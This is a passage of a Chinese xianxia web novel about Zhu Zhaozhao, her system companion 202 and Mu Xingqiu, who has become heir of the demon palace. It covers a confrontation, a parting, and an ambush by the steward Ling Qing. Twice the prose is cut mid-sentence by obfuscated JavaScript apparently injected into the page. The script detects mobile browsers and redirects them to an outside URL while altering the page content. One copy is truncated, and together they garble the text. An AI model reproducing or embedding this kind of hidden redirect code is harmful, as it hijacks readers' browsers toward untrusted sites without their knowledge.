像是没听懂祝昭昭的讥讽,中年男子点头。 再抬手,一颗碧绿的灵力球缓缓成型:“既然如此,那今夜这场闹剧……” “便在此结束罢。” 他话落,灵力快而准地直冲祝昭昭天灵盖扣下。 202的尖叫声在脑海响起,眼见光球越来越大,祝昭昭咬牙决定放手一搏。 就在这时,一道光壁倏地在她面前张开。 光球轰击在结界之上,剧烈灵光顷刻炸开。 也映亮了祝昭昭愣怔的表情。 “先生且慢,此女——” 话音自虚空响起,一袭白衣的身影缓缓落下,恰好挡在祝昭昭身前。 “你不可动。” 131. 天玄山圣女预言奇准 慕行秋? 他怎么会在这里? 正思忖,脚腕忽地拂过一阵风。 祝昭昭低头,便见那原本紧紧困住自己的碧绿锁链,已然断成两半。 “地上凉,勿要久坐。” 慕行秋的声音从头顶传来,她抬眸。 视线从身前人平静的神情,移到停在自己面前的手掌,祝昭昭抬手。 再一把搭上去,重重借力起身。 从始至终晃都不晃,见祝昭昭在身旁站定,慕行秋才慢慢收回手。 这当口对面再次出声—— “哦?” 中年男子笑,意味不明地重复:“我不可碰?” 慕行秋亦眉眼弯弯:“是。” 闻言想提醒慕行秋人在屋檐下,祝昭昭悄悄扯他衣袖。 却被他反握住手。 再轻轻地,似是安慰般地拍了拍。 很难形容此刻的心情,祝昭昭抬眼去瞧慕行秋。 便见他神色如常,依旧只是含笑望着对面的中年男子。 “少主倒是说说,” 并不驱散手中灵力锁链,中年男子问:“在下为何不能动一个偷听魔宫机密的,来路不明的细作?” 他语调分明温和有礼,脱口的话却堪称毫不客气,听得祝昭昭下意识挑眉。 不过最让祝昭昭意外的,还是他刚才提到的‘少主’两个字。 慕行秋什么时候成了魔宫少主? 按捺住冒上心头的疑惑,祝昭昭继续围观。 慕行秋淡声:“偷听一事,确实是她不妥在先。但先生有一点,却说得不对。” 中年男子挑眉:“哦,何处不对?” “她并非什么细作。” 不避不闪迎上男子隐含审视的目光,慕行秋一字一句:“她是我的恩人。” 这回不止是中年男子,就连祝昭昭都忍不住偷偷瞧他一眼。 “恩人?” 摹行秋的回答,显然有些超出中年男子预料:“她修为并不如你,如何能成为你的恩人?” “修为高低,从来与有恩与否无关。”慕行秋答,“先生应该清楚我是如何来的魔界罢。” 中年男子不语,只是静静盯着慕行秋。 慕行秋不为所动:“若不是她,我恐怕难以顺利来到魔界。” “如今也就更不可能身处魔宫。” 一时间,空气中惟余风声流淌。 直到原本安静躺在地上的青年突然闷哼一声,中年男子终于动了。 手中灵力锁链化作点点荧光,他神色意味深长:“既然此女对少主有如此大恩,那廖某若仍旧一再相逼,反倒是不留情面了。” “只是此等恩人,少主是否理应好好招待?” 扫了眼身旁欲言又止的青年,中年男子似有所指:“否则若是再发生今日之事,其他人,恐怕不定如廖某这样好说话。” 慕行秋颔首:“先生言之有理。” 目光落在祝昭昭身上又移开,中年男子意味不明地轻笑了声:“那么更深露重,廖某便不再与少主闲聊寒喧了。” “告辞。” 话落转身,中年男子很快不见踪影。 彻底清醒的青年怒瞪祝昭昭一眼后,也跟着离开。 祝昭昭都被瞪愣了。 不管怎么说她还留了他一命呢。 这么不知好赖? 后知后觉‘目送’青年身影消失,祝昭昭忽然感觉身边有视线落在自己身上。 回神、扭头一气呵成,她对上慕行秋的目光:“干嘛?” 今晚的情况确实太混乱,祝昭昭想过慕行秋也许会有的回答。比如说‘你为什么乱跑’、或者是‘你怎么找到这的’。 然而慕行秋开口却是—— “他已至少百岁有余。” 什么?? 祝昭昭表情都空白了一瞬。 ‘他百岁有余’?? 谁?? 那个年轻男的吗?? 什么意思?? 为什么突然提到年龄?? 终于回过神来,她简直不可置信:“你说什么??” 慕行秋只是摇摇头:“先回去罢。” 不等祝昭昭回答,他率先朝另一方向转身。 被噎得词穷,祝昭昭望着他背影。 今夜出行目的本就是找他,而人已经找到,再待下去也没意义。 况且看他的架势,也不太可能再回答刚才那个没头没尾的问题…… 越想越觉得莫名其妙,祝昭昭狠狠捏了捏眉心,还是跟上慕行秋。 * 由慕行秋带路,两人很快停在一处单独的院落。 他推开门:“这是我暂居的住所。” 也不多和慕行秋客气,祝昭昭率先走了进去。 屋中灯火通明,一张椅子被从桌底拉出来,随意摆在桌边;桌上茶盏,甚至还在静静散着烟气—— 这一切都宣告着慕行秋离开时的匆忙。 意识到这点,祝昭昭抿唇。 眨眨眼打断发散的思绪,她随便挑了张椅子坐下。 再问出最想问的问题:“几天不见,你怎么突然成了魔宫少主?” 关上门,慕行秋慢悠悠回到原先的位置坐下。 祝昭昭则继续说:“五长老是剑宗内鬼,一直在为魔宫传递消息的事你知道吗?” 从桌上茶盘翻起一只杯子,慕行秋倒好茶后递给祝昭昭。 正好觉得口干,祝昭昭很自然地接过茶水喝了一口。 再继续说:“刚才那两个人说的话我全听完了。按他们的说法,五长老和他们并不是完全一条心。” “若是结合五长老对你的态度,我怀疑他是想借魔宫的力量铲除在剑宗的异己,自己上位。” 始终波澜不惊的神色终于裂出条缝隙,幕行秋抬眸瞧了眼祝昭昭。 祝昭昭坦荡和他对视:“这段时间我们见面一直很少,有些话我总是找不到时机和你说,今天终于有机会告诉你。” “其实我早在黑山的那处宝地里,找到出魔界的突破口,当时也已经在那里做好记号。” 将茶盏轻放回桌面,她盯着泛起涟漪的清茶:“而你现在身份正好,我们可以找理由重回那处宝地。只要劈开空间禁制,我们就能——” “昭昭。” 慕行秋突然开口。 思绪被打断,祝昭昭于是停下话头。 她看着端坐对面的人:“怎么了?” “你还没有察觉到吗?” “……什么?” 祝昭昭愣住:“察觉到什么?” 盯她半晌,见她始终一脸懵然,慕行秋终于认输般长叹。 再开口:“你身体可有何处不适?” 没想到等来的会是这个回答,祝昭昭眨眨眼:“什么?” “廖平修为本就高于你,加之他所修功法,出招手段皆无比阴毒,你还不止与他一人交手——” 慕行秋说着,掌心里多了一支长颈白瓷瓶:“此刻你身上,必然带伤。” 祝昭昭低头,左看右看:“可是除了脚,我没感觉身上哪里……” 剩下的话被胸口忽起的剧痛打断。 反射性抚向痛处,她终于后知后觉意识到什么:“我胸骨好像断了。” 望着她愣怔中忍痛的模样,慕行秋有些无奈:“胸骨断裂,本该剧痛无比,你却一回来就不停说话。” “是否我不提醒,你便会任由它自愈?” 捂着胸口的掌心亮起白色灵光,祝昭昭略微心虚:“那倒不至于。” 片刻后灵光熄灭,祝昭昭骨折的肋骨成功愈合。 慕行秋也顺势示意她将手递给自己。 虚虚在祝昭昭手心绘制符文,他眉眼低垂: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无暇顾及脚腕处消失的隐隐束缚感,祝昭昭急切地,试着从另外角度劝他:“廖平的态度在前,以小见大,魔侍怎么可能会听你的?” “你与其留在这里争名夺利,倒不如和我一起回去。” “实在不行,我们不回剑宗,隐姓埋名去四处游历也好啊。” 听到这里,脸上忽然多了些笑意,慕行秋问:“隐姓埋名去游历?” “你不是已经在这么做了么。” 空气瞬间安静下来。 直到嘴唇几度开合的祝昭昭,终于找到自己的声音:“……你都知道了。” “原本就有所察觉。” 慕行秋话音淡淡:“如今只是确定而已。” 望着对面人的神情,祝昭昭已经分不清心底纠缠成一团的,究竟是什么:“……你恨我吗?” “就因为天玄山圣女一句预言,你吃了那么多苦。” 祝昭昭近乎小心翼翼地:“慕行秋,你会恨我吗?” “恨你?” 慕行秋摇头:“我不会恨你。” “可如果不是我,” 袖下拳头一点点攥得死紧,祝昭昭喉头发涩:“你在剑宗,不会过成那样。” “哪样?”慕行秋反问。 抿了抿唇,祝昭昭最终沉默。 往自己杯里添了些茶,慕行秋选择结束这个话题:“你今晚就在此休息,明天一早,我便让魔侍带你离开。” “回去之后,先保证好自身安危,再把你方才听到的事告诉掌门。” 将茶水饮尽,他起身朝门口走:“虽然不知道你为什么来剑宗,但若所求之事已了,告知完消息后,便回天玄山去吧。” “还有……” 本该跨出门的脚步忽地顿住,他却没有回头。 只是一字一句—— “谢谢你。” 132. 大反派真的请来了管家! 夜风含着湿意,吹醒愣神的祝昭昭。收回落在窗外枝叶的目光,她垂眸。 202偷偷飘出来:“主人,你是不是不开心呀?” “没有。” 双手交叠在屈起的膝盖上,祝昭昭用下巴抵着手:“我没有不开心。” “可是你的脸拉得好长哦。” 202伸出两只机械手比划:“看起来像那个,嗯……脱水的茄子。” 脱水的茄子? 顿时感觉脑袋上蹭蹭冒火,祝昭昭闭眼深呼吸:“我能不能只是睡不习惯新的屋子,所以不开心。” “理论上来说是能的。” 在祝昭昭身边打了个滚,202平静地指出问题:“但作为一个任务经验丰富,四处穿梭位面的高级维护员,主人你这理由找得实在不怎么样。” 祝昭昭:“……” 202:“你还不如说你前两天欢乐豆输多了,心痛得睡不着觉。” 祝昭昭:“……” “所以主人你到底怎么了?” 202一副打破砂锅问到底的架势:“可不许再说是因为不适应环境了啊。” “毕竟大反派这里的房间,可比我们原来住的那里强得多了。” “看看这布置,这床铺,这熏香,这的蜡烛烧得都比之前那边亮!” 被它那副贪图享乐的嘴脸震撼,祝昭昭一言难尽:“你能不能有点出息,我平时少你吃还是少你穿了?” “就是因为主人你平时既不少我吃也不少我穿,”202得意,“所以我才总是被其它系统羡慕呀!” 说着像是突然明白了什么,它一下子蹦起来‘哦’了声:“我知道了!” “主人你是在为大反派要留在魔宫这件事心烦对不对?” 见祝昭昭不说话,自觉猜中了的202摇头晃脑:“可是主人你换个角度想,上周目我们之所以任务失败,是因为大反派突然入魔,发疯刀掉了所有重要角色对吧?” “那有没有可能,他当时发疯,就是因为入魔的时候出了岔子呢?” 它越说越觉得自己的推测很合理:“如果真是这样,那这周目因为我们的影响,大反派已经在精神状态稳定的情况下回了魔宫。” “他因此愿意留在这里,进行血脉仪式并顺利继承魔宫,也未尝不是好事啊!” 把机械手搭到祝昭昭肩膀上拍了拍,它语重心长:“反正大反派原本的结局也只是一个简单的‘远走他乡’,现在回到魔宫,不比原本结局强多了?” “确实不比。”祝昭昭面无表情。 202傻眼:“啊?” 捏起两根手指,她嫌弃地把肩上的机械手拎到一边:“首先,慕行秋从头到尾都没说过,举行血脉仪式就能继承魔宫。其次,” “你觉得那个叫廖平的,对慕行秋态度怎么样?” “廖平?”202作思考状,“差点干掉主人你的那个人吗?” 祝昭昭无语:“……对。” “好像不怎么样来着,” 202‘嘶’一声:“阴阳怪气表里不一的,虽然‘少主’来‘少主’去,但感觉也没多尊敬大反派呢?” “那你觉得,”祝昭昭问,“这样一个人,会告知慕行秋有关魔族机密消息的可能性是多少?” 202沉思:“嗯……” 斜它一眼,祝昭昭望向桌上烛火:“所以曾书是魔宫卧底一事,不像是魔宫这帮人和慕行秋说的,倒更像是他在偶然情况下得知的。” “而正常情况下,慕行秋如果继承魔宫,则意味着他的立场会从剑宗倒向魔宫。” 无意识敲动膝头的指尖越来越快,祝昭昭道:“那么作为一个将要继承魔宫的人,意图让身怀魔族机密的我离开魔宫,就完全不合理。” “因为实际上,以他目前在魔宫的处境来看,做这件事不仅需要顶住巨大压力,更对他后面争取魔宫众人信任,没有半点好处。” 202小声逼逼:“但大反派还是做了。” “对。” 祝昭昭点头:“这代表慕行秋决意要将曾书叛变的消息,带回剑宗。” 说着,她看向202:“你觉得,这是一个想安心继承魔宫位置的人,会做的事吗?” 被祝昭昭一点,202终于回过味来。 但它很快又有了新的不解:“但如果事情真像主人你推测的那样,那大反派可以和我们一起离开啊,为什么非要做那些麻烦事不可?” 空气安静下来。 直到祝昭昭幽幽开口:“也许是为了剑宗,或者说为了修真界吧。” 202眨眨眼:“为了修真界?” “能真正继承魔宫最好,实在不行,做内应也罢。” 祝昭昭望着窗外:“只要留在这里,就算有朝一日,魔宫真动了什么不安分的心思,自己也能第一时间得知并尽量控制局面。慕行秋他……” “应该是这么想的吧。” 闻言愣了一下,202机械手抓了抓脑袋,想说什么又忍住。 憋了半天,才终于不好意思:“大反派他,他还蛮有舍己为人的精神嘛。” 简直无力吐槽,祝昭昭白它一眼。 “加上我们已经点明了我的真实身份,我猜……” 有风吹乱鬓角碎发,祝昭昭抬手,将之挽入耳后:“他明天带来的,应该不会是普通魔侍。” 话落沉默,她静静盯着窗外半晌,最后突然一个挺身,直直躺倒回床上。 “睡觉!” * 一夜无梦。 第二天,祝昭昭是被202硬生生吵醒的。 “主人你快点起床啦!” 它飘到祝昭昭耳边叫个不停:“根据我的探测,大反派马上就要带人过来了啊啊啊!” 不耐烦地翻了个身,祝昭昭含糊不清地问:“现在几点?” 202立刻:“六点哇。” 祝昭昭顿时不爽:“才六点,他怎么可能到。” “而且来就来呗,大不了一个净身诀的事。少见多怪。” “可是,”202欲言又止,“大反派离我们只剩两百米了。” 马上重进梦乡的祝昭昭:? “啊。” 202蹦跶着看向窗口:“他们已经到院门口了。” ‘噌’一下从床上坐直起来,瞪大眼睛的祝昭昭与被她吓到的202对上视线。 远处的脚步声仿佛某种提醒,一人一机吓得齐齐打了个激灵,再慢动作地将视线移到门的方向—— 敲门声随即响起。 “阿昭。” 慕行秋声音从门外传来:“我到了。” 门很快开了条小缝,赶在最后一刻将自己收拾整齐的祝昭昭,从门缝里探出头来。 抬头瞧他一眼完,再将门打开:“进来吧。” 慕行秋于是走进屋中。 跟在他身后一起进来的,还有一位年轻男子。 目光不着痕迹地从男子身上掠过,祝昭昭翻开两只茶杯:“你身边这位是?” 慕行秋随机介绍起身旁男子:“这位是凌青,魔宫的总管。” “稍后便由他带你离开。 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“一刻钟就好。” 闻言示意凌青先走,慕行秋很快跟在他身后,一同走出屋子。 祝昭昭也转身进了卧房。 却没有收拾东西,而是直接坐到床边。 气氛有些诡异,看着祝昭昭,202装模作样地抖了抖:“主人,还真让你说中了。” “大反派把特别了解魔宫的管家都叫过来带你走了。” “不过我怎么总觉得哪里不对劲呢?”202大思考,“大反派居然是拜托廖平请来的管家,廖平还答应了?” “但他不是刚好还想杀了主人你吗,为什么……” “因为这个总管和廖平是一伙的。” 祝昭昭面无表情:“他也想要我的命。” 202:??? 呐喊·jpg “不是,什么情况?”202惊恐,“大反派知道这事儿吗?!” 祝昭昭斜睨它:“想不知道都难。” “这,那,他们……” 半天憋不出一句话来,202终于爆发:“这到底怎么回事啊?!” 被吵得耳朵生疼,祝昭昭不耐烦:“你管什么情况干嘛,反正跟你也没关系。” “哦好吧。”202瞬间死鱼眼:“那主人你刚才从那个管家身上看出什么问题来了没?” “首先,人家是总管。” 顿觉脑袋嗡嗡响,祝昭昭捏眉心:“是看出一点消息来了,但我还需要更多时间,才能收集整理好全部信息。” 202一下子来了精神:“那主人你还坐在这干嘛,赶紧走了啊?” “还催上我了,做戏做全套懂不懂。” 撇撇嘴,祝昭昭不情不愿从床边站起朝门口走。 穿过卧房,厅边的窗口是她刚刚打开的。 一身白衣的慕行秋就站在那里。 鬼使神差地,祝昭昭目光长久地落在那抹身影上。 再倏尔怔住。 似乎是察觉到她的目光,窗外的慕行秋扭头:“怎么了。” “为什么站在那不出来?” 没有回答。 嘴唇嚅嗫着,祝昭昭几度张口,终于听见自己那轻得仿佛会随风消失的声音。 她听见自己说:“你要不要,” “和我一起离开?” 133. “主人你这算放弃大反派了吗?”…… 慕行秋怔。 隔音结界不着痕迹地将凌青隔绝在外,他静静盯着祝昭昭,试图从她脸上发现哪怕一丝一毫端倪。 却一无所获。 直到从祝昭昭始终不变的神情中,明白她是认真的,他终于开口:“为什么。” “没有为什么。” 祝昭昭抿唇:“你只需要回答我,你愿不愿意和我一起离开。” 空气安静下来。 许久,又或者只是祝昭昭觉得过了很久。 她终于听见慕行秋的声音—— “昭昭,” 他语气无波无澜:“你不会不知道,我为何要选择留在这里。” “为什么临到此时,还要问这一句呢?” 将手旁衣裙捏得死紧,祝昭昭垂眸。 她当然知道。 她当然知道慕行秋为什么要留在这里。 倒不如说,正是因为她无比清楚他留在这的原因,她才哪怕不被理解,也要问上这一句。 深呼吸,强迫纷乱的思绪按压回心底,祝昭昭抬头:“回答我,你愿不愿意和我一起离开。” 这次,慕行秋不再犹豫:“我不会跟你离开。” “可是我希望你和我一起走。” 行进的脚步伴随着结束的话音,停留在窗前。 祝昭昭注视着一窗之隔的慕行秋:“我希望我们一起离开这里,一起回去剑宗。” “我想和你一起。” “可以吗?” 慕行秋就那么望着朝自己由远至近的少女。 就那么望着她认真的,一转不转注视着自己的眼睛。 想答应她,想和她走,甚至想问她可不可以不回剑宗,她四方游历的承诺是否还作数—— 可他只能沉默。 他甚至不敢让少女发现自己几乎不受控制要抬起来的,想回应她的手。 最后,脱口的话还是取代了真心:“我要,” “留在这里。” 其实到这里,祝昭昭明白自己应该识趣离开。 可连她自己都不明白,自己为什么会选择放任心底叫嚣的陌生情绪:“如果我说留在这里,” “你也许会死呢?” 围观全程的202:哈哈哈,会死啊。 等等…… 它的主人,它那么大的一个主人。 现在是在告诉一个上周目发疯灭了位面,害他们重开任务的危险角色:你可能会死。 是这样吗? ??? 终于反应过来的202:呐喊·jpg 它简直不敢相信自己的耳朵。 于是它选择残害祝昭昭的耳朵:“啊啊啊主人你疯了吗?你知不知道自己在干嘛啊啊啊啊?!!” 毫不理会耳旁的吵闹,祝昭昭近乎执拗地注视着眼前的人,铁了心要一个答案。 慕行秋也确实给了她答案。 唇边多了抹浅淡弧度,他笑起来,望着祝昭昭的眉眼微弯。 “回去吧。” * 带生人出魔宫毕竟不好解释,出于尽可能低调的原因,凌青选定的,是一条人不算多的小路。 一言不发地跟在凌青身后,祝昭昭盯着地面上的碎石杂草发呆。 还没从刚才祝昭昭和慕行秋的对话里缓过来,202气得在她耳边直唠叨:“主人你到底抽得哪门子疯嘛,怎么能直接把大反派的剧情发展透露给他。” “万一他听完接受不了,你是准备重开第三次吗?!” 越说越后怕,它整颗球抖了一阵,继续哔哔:“而且‘你也许会死’又是什么情况嘛,大反派好端端的怎么会突然就有可能死了,他干什么去了?” “还好大反派刚才的表情,看起来不像把主人你的话往心里去了,否则这任务后期发展该变得多不可控啊。” 它摇摇头,做出最后总结:“主人你又不是什么初出茅庐的菜鸟维护员,怎么会犯这么低级的错误?” 最后一句话说完,202生气又着急地看着祝昭昭。 祝昭昭则依旧盯着地上石子瞧。 这回轮到202脑瓜子开始嗡嗡响:“主人,你有在听我说话吗?” 一脚踢飞边上的石子,祝昭昭终于开口:“什么事。” ‘什么事??’ 202瞳孔地震。 合着它刚才费劲巴拉说半天,纯属自娱自乐吗?? 眼尾余光瞥见脸旁圆球的显示屏上委屈的哭哭表情,原本懒得搭理它的祝昭昭还是无奈叹了口气。 “我刚才,用预知之眼看了慕行秋的未来。” 202立刻:“啊那意思是大反派真的会死吗为什么啊?” “是,也不是。” 祝昭昭脸上的一言难尽不加掩饰:“以及有没有人告诉过你,一口气把话说完容易让人听不清。” “那主人你不还是听清楚了嘛。” 扭捏了一下,202笑嘻嘻的:“好了好了回归正题,主人你到底看到了大反派的什么未来,竟然严重到他可能会死?” 闻言再次垂眸,祝昭昭声音低低:“他会被夺舍。” “夺舍……” 智慧的眼神闪了好半天,202这才恍然大悟:“所以血脉仪式其实是夺舍仪式吗?!” “要夺他舍的是谁,魔宫现任宫主?” 沉默代替了回答。 “那也不对吧,” 想了想,202继续问:“夺舍会不会成功暂且不提,就算夺舍成功,不代表大反派就一定会死吧?” 祝昭昭唇角浮起一抹冷笑:“202,你要知道这双眼睛看到的未来,发生几率是百分百。” “而慕行秋本就是半路入魔宫,与宫中众人根本来不及建立利益关系。在这样的前提下,谁会费尽心思,去帮一个失去利用价值的魂魄找躯壳?” 202哑然:“这……” “那么你再告诉我,” 她看向202:“在魔界,一个失去躯壳的,毫无利益牵扯的元婴期修士魂魄,它的作用有多大?” 明白了利害关系,202却更加不解:“那主人你为什么不告诉大反派来龙去脉呢?” “因为哪怕宫主夺舍慕行秋,但位面主线也是不变的。” 祝昭昭答:“如果他取代慕行秋,目的是为了搅乱修行界,那更不会有问题。因为那样,他的结局就是被主角团灭杀。” “也就是说,‘慕行秋被夺舍’这件事,不会导致位面崩溃。” 盯着路面的祝昭昭有些出神:“而从始至终,我的目标就是完成任务。那么在必须稳定位面的大前提下,我就只能以旁敲侧击的方式提醒慕行秋。” “把话说到这个地步,我已经仁至义尽。” 202恍然:“原来是这样……” “所以可不可以说,主人你其实努力透露了可以透露的信息,并把选择权交给大反派,由他来决定怎么做。” 祝昭昭:“嗯。” “而大反派选择了留在魔宫。” 202:“那我是不是可以认为,从大反派选择留在魔宫的那一刻起……” “主人你就已经放弃了他?” 长久的沉默。 祝昭昭抬起头,环顾四方。 再在看清荒无一人的周围,以及不知何时已经走到自己身后的凌青时,没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382557|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么情绪地弯起唇角。 她开始在精神空间倒数:“三。” 202奇怪:“主人你好端端的,倒数干嘛?” 祝昭昭不答,只是自顾自地继续:“二。” “一。” 下一秒,她猛地侧身,一道凌厉气刃擦着她鼻梁飞过。 202顿时吓得尖叫。 余光自被气刃斩断的粗壮树枝处收回,祝昭昭朝不远处的人影微抬下巴,脸上神情似笑非笑:“凌总管这是做什么。” 一击不成,凌青收手背于身后,静静盯着祝昭昭。 见他不回话,祝昭昭也不恼,只是轻笑出声:“明白了。原来送我离开魔界是假,送我去西天……” “才是真。” 仿佛是在回应她的话般,凌青瞬间消失在原地。 祝昭昭足尖一碾,也动起来。 只闻声,不见人。兵刃相交之声接连不断炸响,期间夹杂着尘土飞扬与草木断裂。 直到刺耳的金属摩擦声长长响起,两道原本纠缠得不分你我的身影终于分开,再各自落回地面。 目光从肩头破损的衣料处收回,凌青冷声:“倒是我小瞧了你。” “凌总管过奖。” 随意擦去颧骨血丝,祝昭昭语调散漫:“我不过一介女流,您又何必非要置我于死地?” “不如折个中,您就当我死了回去复命,我保证回去之后对在魔界的见闻三缄其口,绝不让您难做。” 她弯起眉眼:“如何?” 凌青冷哼:“呵,油嘴滑舌。” “只可惜用错了地!” 魔气顷刻自凌青脚下爆发而出,生了眼般朝祝昭昭袭去。 赶在最后一刻撑起防护结界,早有防备的祝昭昭几个弹身闪出魔气范围。 四周已经不见凌青身影,她不动声色地快速环视一周:“凌总管,不答应就算了,怎么还下黑手呢。” “您现在是打算把我扔在这里自生自灭,还是……” “想偷袭呢?” 话音落下的刹那,她掌心短锥也直直射/向身侧不远的树后。 兵刃相撞的铿锵声,伴随着爆开的火花响起。一脸阴沉的凌青,也持剑从树后闪现而出。 “这就对了,躲什么呢。” 抬手间,短锥换作长剑。祝昭昭横剑于身前,刚好格挡住凌青朝自己劈来的剑。 剑光连闪,短短数息两人已连过十数招。 再次险之又险地避开凌青刺向自己的长剑,祝昭昭连退数步拉开距离。 长剑挽了个剑花背于身后,她开口:“凌总管,与其这样耗着,您不如早些放我离开?” “耗着?”凌青意味深长地重复。 一把将长剑掼于身前地面,他抬手,连结道道手印。 直觉哪里不对,祝昭昭反射性想跑。 却还是迟了一步。 以她为圆心,身后突然破土而出十数道魔气化为的剑。 而她因此分神的瞬间,凌青也鬼魅般出现在她面前。 高举的长剑雪亮刺眼,祝昭昭咬紧牙关,想防御却已经来不及。 忽而轻风吹过。 下一秒,点点鲜血飞溅在脸,温热的感觉让祝昭昭眼瞳骤缩。 遮蔽在眼前的身影后退一步歪倒,凌青倒地时,不可置信的表情还凝固在脸上。 而随着他落地,有什么东西也从他身上被摔飞到一旁。 祝昭昭于是去拾。 月清花香幽幽传进鼻间,祝昭昭怔怔看着手里模样熟悉,却手艺生疏的偶人。 这是慕行秋的东西。 这是慕行秋以她为例,亲手做的偶人。 134. “是真空奔跑的言灵呦。” 祝昭昭愣神的当口,202已经在她精神空间里大呼小叫起来—— “哇好险好险,差一点点主人你就要受重伤了啊啊啊!” 它嚷嚷着,又看向祝昭昭手里人偶:“是这个小木头人偶伤了那什么总管吗?” “而且这木头人偶是不是有点眼熟啊?” 仔细观察了一会儿,202突然注意到什么:“我记得主人你之前,好像也做过一个类似这样的人偶?” “嗯。” 低声答应完,祝昭昭抬手控制住躺在地上,尚未缓过来的凌青:“但这个人偶是慕行秋自己做的。” “诶呦,大反派自己做的啊,” 202闻言,盯着人偶的眼神都变了:“难怪这人偶的雕刻手法,看起来有点点生疏的样子。” “不过重点不是这个。” 它边絮絮叨叨边甩头:“没想到大反派竟然留了后手,难怪他敢放心让主人你和魔宫的人走呢。” “都特意提醒过‘廖平挑选’的人了,你觉得以他的性格,会不留后手吗。” 懒得搭理一惊一乍的202,祝昭昭摩挲手中人偶:“而且不出意外的话,他的后手,远不止于此。” 顿时满头问号的202:“主人你什么意思啊?” “我的意思是……” 拇指轻轻抹过人偶躯干,祝昭昭盯着其上很快亮起的金色符文:“这个人偶,另有玄机。” 如同响应祝昭昭的话一般,符文浮起,碎成金粒飘散在空气中。 人偶躯干位置的中空,也暴露出来。 祝昭昭很快从里头,拈出一条卷得细长的纸条。 202反应比还她大点:“什么什么,这纸条里写着什么??” 眼神都没分给它一个,祝昭昭缓慢而认真地展开手中纸条。 一片文字很快浮现在纸条之上—— ‘昭昭。见此纸条,凌青想必已被你控制。’ 祝昭昭眨眨眼,继续看下去。 ‘我心知凌青与廖平乃一路人,也清楚他答应带你离开是假,将你带去无人之境灭口是真。’ ‘可哪怕如此,但他的确知道几乎所有魔族秘辛。是以让他带你离开,实乃几度权衡后的无奈之举。’ ‘我在此向你道歉。’ 祝昭昭视线扫到这,边上202突然无预警吐槽:“大反派真是,道歉有用还要警察干嘛。” 顿时死鱼眼,她直接手动让202闭嘴。 ‘且他虽无意放你离开,却有方法让你离开。你读取他记忆后,自可寻到离开之途径。’ ‘而我知你聪敏,但同样清楚修为之差距,难以聪敏补全。因此我将高阶隔断结界法印置于偶身,你打开结界前将人偶催动,便可确保在神不知鬼不觉间离开魔界。’ ‘法印发动之后,人偶会自行毁坏,不留后顾之忧,你可放心使用。’ 祝昭昭看完的时候,纸条上幻出的字刚好破碎漂浮。 她见状,本想将纸条收起。 然而散碎的墨色很快回缩,忽闪着,将要下一次重组。 祝昭昭本以为慕行秋是还有什么其他提醒。 可最终凝固成型的墨色,却只是很克制地交代了一句话—— ‘若是不嫌,你今后能否替我常看四方景色?’ 祝昭昭怔住。 直到最后,他都只是问‘能否’。 能否? 深呼吸,祝昭昭收好人偶与纸条。 接着垂眸:“你还没止住血。” 乍然被点到,躺在地上的凌青狠狠咬牙,将眼珠朝祝昭昭方向移。 “小儿侥幸,若不是方才那突然一剑,你早已死在我手。” 说着试图扭动身体却无果,他恨声:“我就知那身份诡异之人定不安好心,待我回去,我必……” 下一秒,他肩上灵光忽闪。 那原本他努力尝试治疗,却始终只能延缓出血的创口,就此愈合。 斜眼望着那只剩破损衣料的皮肉,凌青暗暗心惊。 他原以为自己被制住反抗不能,只是因为刚才一瞬走神,加上自己重伤虚弱,才让此女抓住了可乘之机。 可如今,眼前此女只是挥挥手,就治愈了连他也奈何不了的诡异创口。 此女,真的只是普通修士? 将凌青神情的变化尽收眼底,祝昭昭弯弯唇角:“你很惊讶。” 凌青满脸阴沉,一字一句:“你究竟是何人。” 闻言不为所动,祝昭昭依旧只是笑。 直到凌青脸上闪过一丝不耐,她才悠悠开口:“镜水涧,似乎离这里很远。” 目光在听到‘镜水涧’三个字时骤然凌厉,凌青眼瞳骤缩。 祝昭昭却视若无物。 她脸上笑容,甚至多了些真意:“而开启通道的口诀,乍听复杂无比,然而细究之下却异常简单。就像你魔族千方百计试图摆脱弱势,却永远只是……” “蚍、蜉、撼、树。” 原本缠绕在凌青身上的数道灵力,瞬间噼咔作响。 成爪的两手爆出青筋,他强撑着半支起身体,用一种迄今为止从未显露过的可怖神情,死死盯着祝昭昭:“竖子。” “今日留你不得。” 如同响应般,他身上一道灵力支撑不住,崩断飞散。 星点灵光从祝昭昭不为所动的脸上掠过。 她还是不紧不慢:“是么。” 话音落下的刹那,灵力自凌青周身破土而出。 新爆发的灵力强度更甚先前。这一次,灵力直接锁住凌青脖颈。 在凌青身旁蹲下,祝昭昭平静地听着他因被勒得气短而粗重的呼吸声。 再朝前轻探,用只有两人能听见的话音开口:“你的死穴,在脖颈后方吧。” 急促的呼吸声刹那消失。 凌青用一种不可置信的目光看着身旁少女。 与她轻巧的,仿若闲聊的语气相反,脖颈后那悄然冒出的尖锐灵力,此刻正无比精确地,对准他的死穴。 只消一下,就可让他殒命当场。 而掌控他生死的少女此刻却托着腮,朝他笑得纯良:“说说看,死穴被锁的你……” “该如何留我不得?” 凌青没有说话。 只因在他眼中,少女鲜妍的面庞,如同修罗厉鬼。 几度调息才终于镇定下来,凌青强作平静:“身法诡异攻势直击要害,无从得知消息却可准确说出秘辛。” “如果我猜得不错,你应该便是——” 乍然收紧的灵力勒断凌青剩下的话语。 虚握的拳头游移到凌青面庞之上,祝昭昭言笑晏晏:“凌总管果然不愧为魔宫总管。” “只是得知秘密易,保守秘密难。正如你不喜我得知魔族秘辛般,我的这个秘密,” 她眨眨眼:“亦不喜别人猜中。” “而我深知凌总管日理万机,烦忧之事不知凡几。所以为了不让今日之事再添您的烦恼,我这便帮您……” “排、忧、解、难。” 